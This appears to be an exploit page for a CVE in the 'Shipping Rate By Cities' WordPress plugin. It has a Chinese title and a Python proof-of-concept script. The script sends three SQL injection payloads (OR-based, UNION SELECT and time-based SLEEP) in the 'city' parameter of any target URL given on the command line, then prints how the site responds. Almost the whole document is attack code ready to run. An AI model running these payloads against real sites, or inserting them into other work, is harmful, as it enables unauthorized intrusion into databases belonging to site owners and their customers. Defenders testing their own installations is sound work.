CVE-2025-14770 WordPress Shipping Rate By Cities插件SQL注入漏洞

import requests import sys # CVE-2025-14770 PoC - SQL Injection in Shipping Rate By Cities WordPress Plugin # Target: WordPress site with Shipping Rate By Cities plugin < 2.0.1 def test_sqli(url, city_payload): """Test SQL injection vulnerability with given payload""" params = {'city': city_payload} try: response = requests.get(url, params=params, timeout=10) return response except requests.exceptions.RequestException as e: print(f"Error: {e}") return None def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-14770.py <target_url>") print("Example: python cve-2025-14770.py http://example.com/checkout/") sys.exit(1) target_url = sys.argv[1] print("[*] CVE-2025-14770 - Shipping Rate By Cities SQL Injection") print(f"[*] Target: {target_url}") # Basic test payloads payloads = [ "' OR '1'='1", # Basic OR injection "' UNION SELECT 1,2,3--", # UNION-based injection "' AND SLEEP(5)--", # Time-based blind injection ] for i, payload in enumerate(payloads, 1): print(f"\n[*] Testing payload {i}: {payload}") response = test_sqli(target_url, payload) if response: print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)} bytes") if __name__ == "__main__": main()